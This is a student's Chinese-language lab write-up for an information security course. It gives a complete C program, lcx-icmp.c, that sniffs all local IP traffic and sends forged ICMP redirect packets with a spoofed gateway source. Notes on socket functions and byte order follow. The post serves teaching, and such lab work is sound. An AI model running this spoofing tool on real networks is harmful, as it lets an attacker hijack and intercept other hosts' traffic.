科软-信息安全实验1-ICMP重定向

目录

一 前言

文章不讲解理论知识哈,想学习理论知识的,认真听课😄,也可以参考郭老师的讲义:信息安全课程 ustcsse308

对于Linux,我只是个半路闯进来的小白,做实验过程中经常会被Linux内核玩得怀疑人生。所以我觉得很有必要先阐明实验的环境,以免各位同学不小心掉坑里。当然,如果你就是想爬坑,咱也拦不住😄

实验环境 / 工具:

你可能用得上的网站:

相关实验:

回到目录

二 Talk is cheap, show me the code

需要注意,下面代码的攻击目标不是对特定的IP,而是对所有捕获到的IP包都发送重定向包,如果你想修改过滤逻辑,修改pass_filter()方法就可以了。

代码 lcx-icmp.c 如下:

  1 #include<stdlib.h>
  2 #include<stdio.h>
  3 #include<string.h>
  4 #include<unistd.h>
  5 #include<sys/types.h>
  6 #include<sys/socket.h>
  7 #include<netinet/in.h>
  8 #include<netinet/ip_icmp.h>
  9 #include<linux/if_ether.h>
 10 #include<arpa/inet.h>
 11  
 12 #define BUFF_SIZE 2048
 13 #define SUCCESS   1
 14 #define FAILURE   -1
 15 
 16 const char *cmd_gateway = "-g";
 17 const char *cmd_srcip = "--src-ip";
 18 struct sockaddr_in arg_gateway;
 19 struct sockaddr_in arg_srcip;
 20 struct sockaddr_in target;
 21 int recvsockfd = -1;
 22 int sendsockfd = -1;
 23 int optval = 1; // setsockopt()函数中使用
 24 unsigned char recvbuff[BUFF_SIZE];
 25 unsigned char sendbuff[BUFF_SIZE];
 26 
 27 // 方法声明
 28 int load_args(const int argc, char **);
 29 void print_cmdprompt();
 30 int icmp_redirect();
 31 int pass_filter();
 32 unsigned short cksum(unsigned short *, int len);
 33 
 34 int main(int argc, char* argv[]) {
 35     if (load_args(argc, argv) < 0) {
 36         printf("command format error!\n");
 37         print_cmdprompt();
 38         return FAILURE;
 39     }
 40     recvsockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP));
 41     sendsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
 42     if (recvsockfd < 0 || sendsockfd < 0
 43         || setsockopt(sendsockfd, SOL_IP, IP_HDRINCL, &optval, sizeof(optval))) {
 44         perror("socket creation error");
 45         return FAILURE;
 46     }
 47     printf("lcx-icmp running...\n\n");
 48     while (1) {
 49         bzero(recvbuff, BUFF_SIZE);
 50         if (recv(recvsockfd, recvbuff, BUFF_SIZE, 0) > 0) {
 51             if (pass_filter())
 52                 icmp_redirect();
 53         } else {
 54             sleep(1);
 55         }
 56     }
 57     close(sendsockfd);
 58     close(recvsockfd);
 59     return SUCCESS;
 60 }
 61 
 62 /**
 63  * 命令:lcx-icmp -g 192.168.23.132 --src-ip 192.168.23.2
 64  * 
 65  * 载入参数:
 66  *   1) arg_gateway: 192.168.23.132
 67  *   2) arg_srcip: 192.168.23.2
 68  *
 69  * 参数标识:
 70  *   1) argv[1]: -g
 71  *   2) argv[3]: --src-ip
 72  *
 73  * @author southday
 74  * @date 2019.03.29
 75  */
 76 int load_args(const int argc, char *argv[]) {
 77     if (argc != 5
 78         || strcmp(argv[1], cmd_gateway) != 0
 79         || strcmp(argv[3], cmd_srcip) != 0
 80         || inet_aton(argv[2], &arg_gateway.sin_addr) == 0
 81         || inet_aton(argv[4], &arg_srcip.sin_addr) == 0)
 82         return FAILURE;
 83     return SUCCESS;
 84 }
 85 
 86 /**
 87  * 打印命令提示信息
 88  * @author southday
 89  * @date 2019.03.29
 90  */
 91 void print_cmdprompt() {
 92     printf("\nlcx-icmp -g [gateway_ip] --src-ip [from_ip]\n\n");
 93     printf("\t      -g [gateway_ip]      eg: -g 192.168.23.132\n");
 94     printf("\t--src-ip [from_ip]         eg: --src-ip 192.168.23.2\n");
 95 }
 96 
 97 /**
 98  * 发送ICMP重定向包
 99  * @author southday
100  * @date 2019.03.29
101  * @return 成功与否
102  */
103 int icmp_redirect() {
104     // 以太网帧首部14字节:6B(dest_mac) + 6B(src_mac) + 2B(type or length)
105     struct ip *origin_ip = (struct ip *)(recvbuff + 14);
106     bzero(sendbuff, BUFF_SIZE);
107 
108     // 构造IP首部
109     struct ip *ip = (struct ip *)sendbuff;
110     ip->ip_hl = 5;
111     ip->ip_v = 4;
112     ip->ip_tos = 0;
113     // 20B(IP首部) + 8B(重定向ICMP首部) + ?B(原始IP首部) + 8B(原始IP数据报的前8个字节)
114     ip->ip_len = htons(20 + 8 + (origin_ip->ip_hl<<2) + 8);
115     ip->ip_id = origin_ip->ip_id;
116     ip->ip_off = 0;
117     ip->ip_ttl = 64;
118     ip->ip_p = 1; // ICMP:1
119     ip->ip_sum = 0;
120     ip->ip_src = arg_srcip.sin_addr;
121     ip->ip_dst = origin_ip->ip_src;
122     // 计算IP首部校验和,只涉及首部
123     ip->ip_sum = cksum((unsigned short *)ip, 20);
124 
125     // 构造ICMP首部
126     struct icmp *icmp = (struct icmp *)(sendbuff + 20);
127     icmp->icmp_type = 5; // REDIRECT TYPE = 5
128     icmp->icmp_code = 1; // 对特定主机路由的改变
129     icmp->icmp_cksum = 0;
130     icmp->icmp_hun.ih_gwaddr = arg_gateway.sin_addr;
131 
132     // 拷贝原始IP首部 + 原始IP数据报的前8个字节,拷贝到sendbuff的toaddr位置
133     unsigned char *toaddr = (unsigned char *)(sendbuff + 20 + 8);
134     // 从recvbuff中取: 原始IP首部(长度为origin_ip->ip_hl<<2) + 原始IP数据报的前8个字节
135     memcpy(toaddr, (unsigned char *)origin_ip, (origin_ip->ip_hl<<2) + 8);
136     // 计算ICMP校验和,涉及首部和数据部分,包括:8字节ICMP首部 + 原始IP首部 + 原始IP数据报的前8字节
137     icmp->icmp_cksum = cksum((unsigned short *)icmp, 8 + (origin_ip->ip_hl<<2) + 8);
138 
139     // 打印IP包字节数据,便于调试
140     printf("                                              %02x %02x", sendbuff[0], sendbuff[1]);
141     for (int i = 0, len = ntohs(ip->ip_len)-2; i < len; i++) {
142         if (i % 16 == 0)
143             printf("\n");
144         if (i % 8 == 0)
145             printf("  ");
146         printf("%02x ", sendbuff[i+2]);
147     }
148     printf("\n");
149 
150     target.sin_addr = ip->ip_dst;
151     int ret = sendto(sendsockfd, sendbuff, ntohs(ip->ip_len), 0, (struct sockaddr *)&target, sizeof(target));
152     if (ret < 0) {
153         perror("send error");
154     } else {
155         printf("send a icmp redirect package!\n");
156     }
157     return SUCCESS;
158 }
159 
160 /**
161  * 包过滤,过滤非TCP, UDP, ICMP的包
162  * @author southday
163  * @date 2019.03.29
164  * @return 是否通过过滤
165  */
166 int pass_filter() {
167     // 以太网帧首部14字节:6B(dest_mac) + 6B(src_mac) + 2B(type or length)
168     struct ip *ip = (struct ip *)(recvbuff + 14);
169     return (ip->ip_p == IPPROTO_TCP
170             || ip->ip_p == IPPROTO_UDP
171             || ip->ip_p == IPPROTO_ICMP);
172 }
173 
174 /**
175  * 计算校验和
176  *   1) IP:IP首部
177  *   2) ICMP:首部+数据
178  * @param *addr 开始计算校验和的入口地址
179  * @param len 计算校验和所使用的数据长度,单位Byte
180  * @return 16位的校验和
181  *
182  * @author southday
183  * @date 2019.03.29
184  */
185 unsigned short cksum(unsigned short *addr, int len) {
186     int sum = 0;
187     unsigned short res = 0;
188     /* len -= 2,因为 sizeof(unsigned short) = 2;
189      * sum += *addr++,每次偏移2Byte
190      */
191     for (; len > 1; sum += *addr++, len -= 2);
192     // 每次处理2Byte,可能会存在多余的1Byte
193     sum += len == 1 ? *addr : 0;
194     // sum:高16位 + 低16位,高16位中存在可能的进位
195     sum = (sum >> 16) + (sum & 0xffff);
196     // sum + sum的高16位,高16位中存在可能的进位
197     sum += (sum >> 16);
198     // 经过2次对高16位中可能存在的进位进行处理,即可确保sum高16位中再无进位
199     res = ~sum;
200     return res;
201 }
View Code

回到目录

三 效果演示

mice端执行ping命令,如下:

hacker端执行lcx-icmp程序,如下:

我把发送的IP包字节打印出来,方便结合Wireshark进行调试;

回到目录

四 遇到的问题&解决

下面的内容是我在做实验过程中遇到的问题、疑问、思考,对不少知识点也只是浅尝辄止,仅供参考😊

1 ‘ETH_P_IP’ was not declared in this scope

添加头文件:#include<linux/if_ether.h>
该头文件位于:/usr/include/linux/if_ether.h

2 recv()、recvfrom() | send()、sendto()函数的使用

sendto(sd,buffer,BUFSIZ,0,(SOCKADDR*)&addrServ,sizeof(SOCKADDR));  // UDP
send(sd, buffer, BUFSIZ, 0);  // TCP
recvfrom(sd,buffer,BUFSIZ,0,(SOCKADDR*)&addrClient,sizeof(SOCKADDR));  // UDP
recv(sd, buffer, BUFSIZ, 0);  // TCP

recvfrom 可同时应用于面向连接和无连接的套接字;recv 一般只用在面向连接的套接字,几乎等同于recvfrom,只要将recvfrom的第5个参数设置为NULL;
recvfrom 多了两个参数,可以用来接收对端的地址信息,这个对于udp这种无连接的,可以很方便地进行回复。如果在udp当中也使用recv,那么就不知道该回复给谁了,如果你不需要回复的话,也是可以使用的。对于tcp是已经知道对端的,就没必要每次接收还多收一个地址,没必要取地址信息,在accept中就可以取得。

3 setsocketopt()函数

功能描述:获取或者设置与某个套接字关联的选项。选项可能存在于多层协议中,它们总会出现在最上面的套接字层。当操作套接字选项时,选项位于的层和选项的名称必须给出。为了操作套接字层的选项,应该将层的值指定为SOL_SOCKET。为了操作其它层的选项,控制选项的合适协议号必须给出。例如,为了表示一个选项由TCP协议解析,层应该设定为协议号TCP。
 
int getsockopt(int sock, int level, int optname, void *optval, socklen_t *optlen);
int setsockopt(int sock, int level, int optname, const void *optval, socklen_t optlen);
  • sock:将要被设置或者获取选项的套接字;
  • level:选项所在的协议层;
  • optname:需要访问的选项名;
  • optval:
    • 对于getsockopt(),指向返回选项值的缓冲;
    • 对于setsockopt(),指向包含新选项值的缓冲;
  • optlen:
    • 对于getsockopt(),作为入口参数时,选项值的最大长度。作为出口参数时,选项值的实际长度;
    • 对于setsockopt(),现选项的长度;

4 unsigned int ip_hl:4,这里的:4是什么意思?

位域,表示ip_hl只取4bit;位段(bit-field)是以位为单位来定义结构体(或联合体)中的成员变量所占的空间。含有位段的结构体(联合体)称为位段结构。采用位段结构既能够节省空间,又方便于操作。

5 为什么要使用htons(),ntohl(),ntohs(),htons()函数?

之所以需要这些函数是因为计算机数据表示存在两种字节顺序:NBO与HBO;

参考: socket编程为什么需要htons(), ntohl(), ntohs(),htons() 函数

htonl()--"Host to Network Long"
ntohl()--"Network to Host Long"
htons()--"Host to Network Short"
ntohs()--"Network to Host Short"

数字所占位数小于或等于一个字节(8 bits)时,不要用htons转换。这是因为对于主机来说,大小尾端的最小单位为字节(byte)。
网络字节顺序(NBO,Network Byte Order):按从高到低的顺序存储,在网络上使用统一的网络字节顺序,可以避免兼容性问题。
主机字节顺序(HBO,Host Byte Order):不同的机器HBO不相同,与CPU设计有关,数据的顺序是由cpu决定的,而与操作系统无关。
如 Intelx86结构下,short型数0x1234表示为34 12,int型数0x12345678表示为78 56 34 12;如IBM power PC结构下,short型数0x1234表示为12 34,int型数0x12345678表示为12 34 56 78;

6 关于大端法、小端法

例如有个变量x为int型,存放在地址0x100的地方,其16进制值为:0x12345678,地址范围是0x100~0x103;

大端法存储:

小端法存储:

最高有效位( most significant bit,MSB)指的是一个n位二进制数字中的n-1位,具有最高的权值2^(n-1)。最低有效位和最高有效位是相对应的概念。在大端序中,msb即指最左端的位。
高、低字节:按平时书写习惯,从左到右是高位到低位的顺序;
高、低地址:内存地址可以对应十六进制的数值,值大的为高地址,否则为低地址;


字节顺序是指占内存多于一个字节类型的数据在内存中的存放顺序,通常有小端、大端两种字节顺序:

  • 大端字节序:是高字节数据存放在低地址处,低字节数据存放在高地址处;
  • 小端字节序:指低字节数据存放在内存低地址处,高字节数据存放在内存高地址处;

7 inet_aton()是什么函数?检测ip地址正确性?inet_ntoa()函数呢?

参考:

需要包含头文件:

1 #include<sys/socket.h>
2 #include<netinet/in.h>
3 #include<arpa/inet.h>
int inet_aton(const char *string, struct in_addr *addr)
输入参数:
  • string 包含ASCII码表示的IP地址;
  • *addr 用来保存转换后新的IP地址结构(网络字节序的二进制);

返回值:

  • 成功则返回非0值,返回1;
  • 失败则返回0值;

char *inet_ntoa(struct in_addr in);

该函数将一个网络字节顺序的IP地址转换为它所对应的点分十进制串;
输入参数:in 网络字节序IP地址;
返回值:返回点分十进制字符串的指针;

8 为什么使用inet_pton()、inet_ntop()函数?它们与inet_aton()、inet_ntoa()有什么区别?

#include <arpa/inet.h>
int inet_pton(int family, const char * strptr, void * addrptr);
返回:1(成功),0(输入不是有效的表达格式 ), -1(出错);
 
const char * inet_ntop(int family, const void * addrptr, char * strptr, size_t len);
其中 len =sizeof(* strptr);
返回: 指向结果的指针(成功), NULL(出错)
 
很明显,pton 对应 aton,ntop 对应 ntoa,虽然实现效果相同,但是它们的参数不同,根据 /usr/include/netinet/ip.h 中关于结构体iphdr和ip的定义即可看出区别:
  • 如果你使用struct ip,那么使用inet_aton()、inet_ntoa();
  • 如果你使用struct iphdr,那么使用inet_pton()、inet_ntop();
 1 struct iphdr
 2   {
 3 #if __BYTE_ORDER == __LITTLE_ENDIAN
 4     unsigned int ihl:4;
 5     unsigned int version:4;
 6 #elif __BYTE_ORDER == __BIG_ENDIAN
 7     unsigned int version:4;
 8     unsigned int ihl:4;
 9 #else
10 # error "Please fix <bits/endian.h>"
11 #endif
12     uint8_t tos;
13     uint16_t tot_len;
14     uint16_t id;
15     uint16_t frag_off;
16     uint8_t ttl;
17     uint8_t protocol;
18     uint16_t check;
19     uint32_t saddr;
20     uint32_t daddr;
21     /*The options start here. */
22   };
23 
24 struct ip
25   {
26 #if __BYTE_ORDER == __LITTLE_ENDIAN
27     unsigned int ip_hl:4;       /* header length */
28     unsigned int ip_v:4;        /* version */
29 #endif
30 #if __BYTE_ORDER == __BIG_ENDIAN
31     unsigned int ip_v:4;        /* version */
32     unsigned int ip_hl:4;       /* header length */
33 #endif
34     uint8_t ip_tos;         /* type of service */
35     unsigned short ip_len;      /* total length */
36     unsigned short ip_id;       /* identification */
37     unsigned short ip_off;      /* fragment offset field */
38 #define IP_RF 0x8000            /* reserved fragment flag */
39 #define IP_DF 0x4000            /* dont fragment flag */
40 #define IP_MF 0x2000            /* more fragments flag */
41 #define IP_OFFMASK 0x1fff       /* mask for fragmenting bits */
42     uint8_t ip_ttl;         /* time to live */
43     uint8_t ip_p;           /* protocol */
44     unsigned short ip_sum;      /* checksum */
45     struct in_addr ip_src, ip_dst;  /* source and dest address */
46   };
View Code

回到目录

转载请说明出处!😄 have a good time ~

posted @ 2019-06-11 21:42  southday  阅读(1831)  评论(0编辑  收藏  举报